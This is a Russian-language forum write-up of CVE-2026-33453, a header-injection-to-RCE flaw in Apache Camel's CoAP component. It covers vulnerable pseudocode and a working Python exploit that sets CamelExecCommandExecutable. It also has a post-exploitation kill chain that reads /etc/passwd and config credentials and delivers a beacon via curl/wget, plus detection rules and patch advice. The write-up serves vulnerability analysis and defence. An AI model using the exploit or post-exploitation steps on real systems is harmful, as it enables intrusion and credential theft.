РАЗБОР На проверке

CVE-2026-33453: Header Injection → RCE в Apache Camel

Сергей Попов Red Team · 6,5 тыс. сообщений

51 Сегодня в 09:24

Режим чтения

Крупный план печатной платы IoT-устройства на чёрном антистатическом коврике: модуль CoAP со вскрытым экраном, обугленная дорожка от перегрузки данными в заголовке. На плате лазерная гравировка CV...

Когда advisory появился на oss-security 27 апреля 2026 года, я первым делом стянул исходники camel-coap из Maven-репозитория и открыл класс CamelCoapResource в JADX. Ни одной строчки фильтрации входящих заголовков. Буквально: компонент берёт URI query parameters из CoAP-запроса и записывает их напрямую в Camel Exchange без валидации. Если downstream-маршрут содержит header-sensitive producer типа camel-exec, атакующий получает интерактивный RCE-канал прямо через CoAP response payload. Один UDP-пакет - и ты внутри. Ниже - разбор уязвимого кода, пошаговая эксплуатация, место в kill chain и конкретные правила детекта.

Apache Camel уязвимость в camel-coap: что сломано и почему это критично

Apache Camel - integration-фреймворк для enterprise, связывающий десятки протоколов и систем через единый routing DSL. Компонент camel-coap реализует поддержку CoAP (Constrained Application Protocol, RFC 7252) - лёгкого UDP-протокола, изначально спроектированного для IoT-устройств и constrained networks. По дефолту CoAP слушает на UDP/5683, встроенной аутентификации нет - DTLS опционален и в большинстве деплойментов, что я видел, отключён.

CWE-915 по определению MITRE: приложение получает входные данные, задающие множество атрибутов для инициализации или обновления объекта, но не контролирует, какие именно атрибуты можно менять. Родительская слабость - CWE-913, peer-класс - CWE-502 (десериализация). В camel-coap реализация буквальна: CoAP URI query parameters → Exchange headers - без фильтров, без allowlist, без проверки префиксов.

Зачем это нужно атакующему: integration-платформы стоят на стыке систем. Camel-хост обычно имеет доступ к базам данных, message broker'ам, внутренним API и файловым хранилищам. Компрометация Camel-инстанса даёт не просто один хост, а сетевую позицию со связностью ко всему, что подключено через integration routes. Идеальная pivot-точка - лучше не придумаешь.

Затронутые версии Apache Camel (по данным OSV.dev для пакета camel-coap):

Ветка	Затронутые версии	Исправленная версия
4.14.x	4.14.0–4.14.5	4.14.6

RHSA-2026:17668 включает фикс в составе Red Hat build of Apache Camel 4.18.1 for Spring Boot 3.5.14, однако OSV.dev не перечисляет ветки 4.18.x и 4.19.x как самостоятельно затронутые для camel-coap.

Red Hat выпустил RHSA-2026:17668 (14 мая 2026) с фиксом для Red Hat build of Apache Camel 4.18.1 for Spring Boot 3.5.14, при этом отдельно уточнил, что пакет camel-coap в составе Red Hat Fuse 7 не затронут (другой продукт, другая кодовая база).

Любопытный момент с CVSS: Red Hat присвоил собственный base score 8.1 (точный вектор в RHSA не опубликован), тогда как NVD и cve.org дают 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Разница предположительно в оценке Attack Complexity и/или Scope, но конкретный Red Hat вектор не подтверждён. Red Hat считает, что для эксплуатации нужно дополнительное условие - наличие header-sensitive producer в маршруте. NVD оценивает по worst case. Для пентестера важны оба score: 10.0 показывает потенциал, 8.1 - реалистичные предусловия.

По EPSS (данные FIRST.org на 19 сентября 2026) уязвимость в 93-м перцентиле (score 0.0616) - top 10% по вероятности эксплуатации в ближайшие 30 дней. CISA SSVC классифицирует technical impact как total, automatable: yes, при этом active exploitation - none. На GitHub есть репозиторий dinosn/CVE-2026-33453, заявляющий наличие PoC; независимого подтверждения работоспособности нет (в Exploit-DB запись отсутствует).

CWE-915 в CoAP-компоненте Apache Camel: разбор уязвимого кода

В модели данных Apache Camel заголовки Exchange управляют поведением producers - компонентов, выполняющих действия: запуск процессов (camel-exec), SQL-запросы (camel-sql), запись файлов (camel-file), рендеринг шаблонов (camel-freemarker, camel-velocity). Внутренние заголовки с префиксом Camel* определяют критичные параметры: какую команду исполнять, куда писать файл, какой SQL-запрос выполнить.

Цепочка вызовов в уязвимом коде (гипотетическая реконструкция по вторичным источникам - Endor Labs; имена классов, методов и структура кода ниже НЕ основаны на просмотре официального патча/diff):

Java:

// CamelCoapResource.handleRequest() - уязвимый путь (псевдокод)
List<String> queries = exchange.getRequestOptions().getUriQuery();
for (String query : queries) {
    String[] pair = query.split("=", 2);
    // Прямая запись URI query param в Camel Exchange header
    camelExchange.getIn().setHeader(pair[0], pair[1]);
}
// Нет вызова HeaderFilterStrategy.applyFilterToExternalHeaders()
// Нет проверки префикса "Camel*", нет whitelist, нет blacklist

Ключевой архитектурный дефект (по реконструкции Endor Labs, не подтверждённой в официальном advisory Apache): класс CoAPEndpoint предположительно расширяет DefaultEndpoint вместо DefaultHeaderFilterStrategyEndpoint, а CoAPComponent не реализует интерфейс HeaderFilterStrategyComponent. По тем же данным, в компоненте нет ни единой ссылки на HeaderFilterStrategy - механизм фильтрации не отключён, а просто никогда не был реализован. NVD подтверждает общий факт: компонент не применяет HeaderFilterStrategy.

Для сравнения: в camel-http, camel-jetty и других HTTP-компонентах HeaderFilterStrategy активна по дефолту и блокирует заголовки с внутренними Camel-префиксами от внешнего ввода. Стандартная защита фреймворка - а camel-coap оказался единственным компонентом, который её полностью проигнорировал. Просто забыли. Или не знали, что надо.

Последствия по CWE-915 реализуются все три: модификация данных приложения (Integrity - Modify Application Data), выполнение неавторизованного кода (Integrity - Execute Unauthorized Code or Commands), Other - Varies by Context. В случае camel-exec - буквально: атакующий переопределяет исполняемый файл и аргументы через заголовки CamelExecCommandExecutable и CamelExecCommandArgs.

Пентест Apache Camel: от fingerprinting до удалённого выполнения кода

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

Зарегистрироваться или Войти

переопределяют исполняемый файл и аргументы, сконфигурированные на endpoint. Но camel-exec - не единственный вектор. По данным advisory, уязвимы также маршруты с camel-sql (подмена SQL-запросов), camel-file (запись в произвольный путь), camel-bean (вызов произвольных методов), camel-freemarker и camel-velocity (SSTI через заголовки шаблонов).

Для эксплуатации camel-exec достаточно одного CoAP-запроса с инъецированными query parameters:

Python:

import asyncio
from aiocoap import Context, Message, GET

async def exploit(target, resource):
    ctx = await Context.create_client_context()
    uri = (f"coap://{target}/{resource}"
           f"?CamelExecCommandExecutable=id"
           f"&CamelExecCommandArgs=")
    req = Message(code=GET, uri=uri)
    resp = await ctx.request(req).response
    print(f"Output: {resp.payload.decode()}")

asyncio.run(exploit("target:5683", "vulnerable-resource"))

Механика: URI query parameter CamelExecCommandExecutable=id превращается в Camel Exchange header через уязвимый handleRequest(). Header переопределяет команду в camel-exec producer. Вывод команды записывается в Exchange body и возвращается в CoAP response payload - атакующий видит результат id прямо в ответе. Интерактивный RCE-канал без какой-либо out-of-band exfiltration.

Для полноценного shell подставьте /bin/bash как executable и -c "cat /etc/passwd" как аргументы. Вывод приходит в payload - out-of-band каналы не нужны. Это существенно проще слепых RCE, где приходится мучиться с DNS/HTTP exfiltration.

Если маршрут не содержит header-sensitive producer - инъекция заголовков к RCE не приведёт. Маршрут с чистым camel-bean, не зависящим от Exchange headers, или пишущий в Kafka-topic без header-based routing - не эксплуатируем. Это и есть предусловие, из-за которого Red Hat выставил AC:H.

Kill chain: уязвимость enterprise integration в контексте реальной атаки

CVE-2026-33453 мапится на конкретные тактики MITRE ATT&CK - от initial access до C2:

Этап	Техника	TTP ID	Действие
Initial Access	Exploit Public-Facing Application	T1190	CoAP packet → header injection → RCE
Execution	Unix Shell	T1059.004	`/bin/bash -c "команда"` через camel-exec
Discovery	System Information Discovery	T1082	`id`, `uname -a`, `cat /etc/os-release`
Credential Access	Credentials In Files	T1552.001	Чтение `application.properties`, YAML-конфигов
Privilege Escalation	Exploitation for Privilege Escalation	T1068	Если Camel не от root - local privilege escalation (примечание: Atomic Red Team тесты для T1068 доступны только для Windows; на Linux применимость зависит от наличия подходящей уязвимости ядра/сервиса)
Lateral Movement	Exploitation of Remote Services	T1210	Credentials из конфигов → БД, брокеры
Command and Control	Web Protocols / Ingress Tool Transfer	T1071.001, T1105	Загрузка beacon через curl/wget

Типичная последовательность после initial access:

Первый пакет - id и uname -a через CoAP RCE для fingerprinting хоста (T1082). Затем find / -name "application*" -type f 2>/dev/null для обнаружения конфигов. В конфигурационных файлах Camel (application.properties, application.yaml, blueprint.xml) обычно лежат connection strings к БД, AMQP-брокерам, LDAP-серверам (T1552.001). Эти credentials дают lateral movement на смежные системы (T1210) - причём через легитимные протоколы, которые не вызовут алертов у IDS.

Для закрепления - curl или wget для доставки beacon'а (T1105). CoAP-канал можно использовать как резервный C2, если HTTP-каналы заблокированы - вывод команд возвращается в CoAP response, что формально подпадает под T1071.001 (Web Protocols).

Ключевое для оценки импакта: enterprise Camel-деплойменты часто работают с привилегированными service account'ами и имеют широкий сетевой доступ. Один скомпрометированный Camel-инстанс может открыть доступ к десяткам backend-систем без дополнительной эксплуатации.

Детект CoAP header injection и hunting на сетевом уровне

Обнаружить эксплуатацию CVE-2026-33453 стандартными средствами непросто - UDP-трафик CoAP не проходит через HTTP WAF и не попадает в access-логи веб-серверов. Слепая зона в чистом виде.

На сетевом уровне: мониторинг UDP/5683 через tcpdump -i eth0 udp port 5683 -w coap_capture.pcap с последующим анализом в Wireshark (display filter: coap). Ищите CoAP-запросы с URI query parameters, содержащими строки CamelExec, CamelSql, CamelFile, CamelBean - любой параметр с префиксом Camel в URI query уже индикатор попытки header injection.

На хостовом уровне: аномальные child-процессы у Java-процесса Camel. Если Camel-процесс порождает /bin/bash, /bin/sh, curl, wget - это IoC. Правило auditd:

Bash:

# auditd: логирование всех execve для последующей корреляции parent-child
# Примечание: auditd не поддерживает прямой фильтр «parent exe = java».
# Правило ниже логирует ВСЕ execve; для выявления случаев, когда Java
# (Camel) порождает shell/curl/wget, необходима корреляция ppid→exe
# через auparse, ausearch или EDR с построением дерева процессов.
auditctl -a always,exit -F arch=b64 -S execve -k camel_rce_detect

Автоматизированное сканирование: Nuclei template для CVE-2026-33453 уже есть в официальном репозитории ProjectDiscovery (javascript/cves/2026/CVE-2026-33453.yaml). Запуск: nuclei -t javascript/cves/2026/CVE-2026-33453.yaml -l targets.txt (путь зависит от локальной структуры templates-репозитория). Шаблон отправляет probe-запрос и анализирует response для подтверждения уязвимости.

Sigma-подобная логика для SIEM: алерт на process creation event, где parent process - Java с аргументами, содержащими camel или apache.camel, а child process - shell-интерпретатор или утилиты загрузки (curl, wget, python). Дополнительно - мониторинг сетевых соединений: если Java-процесс Camel начинает устанавливать исходящие TCP-соединения к нехарактерным IP после появления UDP-трафика на 5683 - это IoC, указывающий на доставку инструментария (T1105).

Apache Camel патч безопасности и компенсирующие меры

Вендор рекомендует обновление до исправленных версий:

4.14.6 - для ветки 4.14.x (данные OSV.dev, Maven-пакет org.apache.camel:camel-coap)
4.18.1 - для ветки 4.18.x (RHSA-2026:17668 для Spring Boot 3.5.14)
4.19.0 - предположительно содержит фикс (не подтверждено в OSV.dev или RHSA; проверьте changelog Apache Camel перед обновлением)

Если немедленное обновление невозможно - компенсирующие меры по приоритету:

Сетевая изоляция - закрыть UDP/5683 файрволом от недоверенных сетей. CoAP-эндпоинт не должен торчать наружу ни при каких обстоятельствах. Самая быстрая и эффективная мера
Удаление camel-exec - если маршрут за CoAP не требует OS-command execution, уберите camel-exec из dependency. Без header-sensitive producer инъекция заголовков не конвертируется в RCE
DTLS - включить DTLS для CoAP-эндпоинтов и потребовать клиентские сертификаты. Уязвимость не устраняет, но сужает attack surface до аутентифицированных клиентов
Мониторинг - внедрить правила для UDP/5683 в IDS и process monitoring на Camel-хосте (auditd, osquery)

Патч устраняет root cause - после обновления CoAPEndpoint подключается к HeaderFilterStrategy и фильтрует заголовки с внутренними Camel-префиксами от внешнего ввода.

По опыту работы с Java middleware: enterprise integration platforms - слепая зона defensive стеков. SOC мониторит HTTP, HTTPS, DNS, иногда LDAP - а UDP-протоколы вроде CoAP остаются невидимыми. CVE-2026-33453 показывает, что проблема не в сложности эксплуатации (один UDP-пакет), а в отсутствии visibility. Организации, использующие Camel с CoAP-компонентом, часто не знают, что UDP/5683 торчит в сеть - потому что UDP-скан не входит в стандартный pentest-scope у многих команд.

Red Hat снизил CVSS до 8.1, обосновав необходимостью header-sensitive producer в маршруте. Формально верно. Но camel-exec встречается в значительной части production-деплойментов Camel, которые я видел на проектах: его используют для вызова legacy-скриптов, CLI-утилит, health-check'ов. Считать наличие camel-exec в маршруте «дополнительным условием» - значит недооценивать типичную enterprise-кодовую базу.

CISA SSVC пометил уязвимость как automatable: yes при exploitation: none. Эксплуатация тривиально автоматизируется, но в дикой природе пока не зафиксирована. EPSS - 93-й перцентиль. Заявленный публичный PoC на GitHub (без независимого подтверждения). С учётом публичного PoC и высокого EPSS-перцентиля - появление массового сканирования вопрос времени, хотя факты активной эксплуатации пока не зафиксированы. Если хочешь пощупать injection-to-RCE цепочку на живом стенде - на HackerLab есть задачи, где аналогичный primitive нужно развернуть от первого пакета до shell.

Полезно

#apache camel уязвимость #apache camel эксплойт #coap безопасность #coap компонент apache camel #cve-2026-33453 #cwe-915 #cwe-915 уязвимость

CVE-2026-33453: Header Injection → RCE в Apache Camel

Apache Camel уязвимость в camel-coap: что сломано и почему это критично

CWE-915 в CoAP-компоненте Apache Camel: разбор уязвимого кода

Пентест Apache Camel: от fingerprinting до удалённого выполнения кода

Kill chain: уязвимость enterprise integration в контексте реальной атаки

Детект CoAP header injection и hunting на сетевом уровне

Apache Camel патч безопасности и компенсирующие меры

Комментарии

Ещё по теме

CVE-2026-33453: Header Injection → RCE в Apache Camel

Apache Camel уязвимость в camel-coap: что сломано и почему это критично​

CWE-915 в CoAP-компоненте Apache Camel: разбор уязвимого кода​

Пентест Apache Camel: от fingerprinting до удалённого выполнения кода​

Kill chain: уязвимость enterprise integration в контексте реальной атаки​

Детект CoAP header injection и hunting на сетевом уровне​

Apache Camel патч безопасности и компенсирующие меры​

Комментарии

Ещё по теме

Apache Camel уязвимость в camel-coap: что сломано и почему это критично

CWE-915 в CoAP-компоненте Apache Camel: разбор уязвимого кода

Пентест Apache Camel: от fingerprinting до удалённого выполнения кода

Kill chain: уязвимость enterprise integration в контексте реальной атаки

Детект CoAP header injection и hunting на сетевом уровне

Apache Camel патч безопасности и компенсирующие меры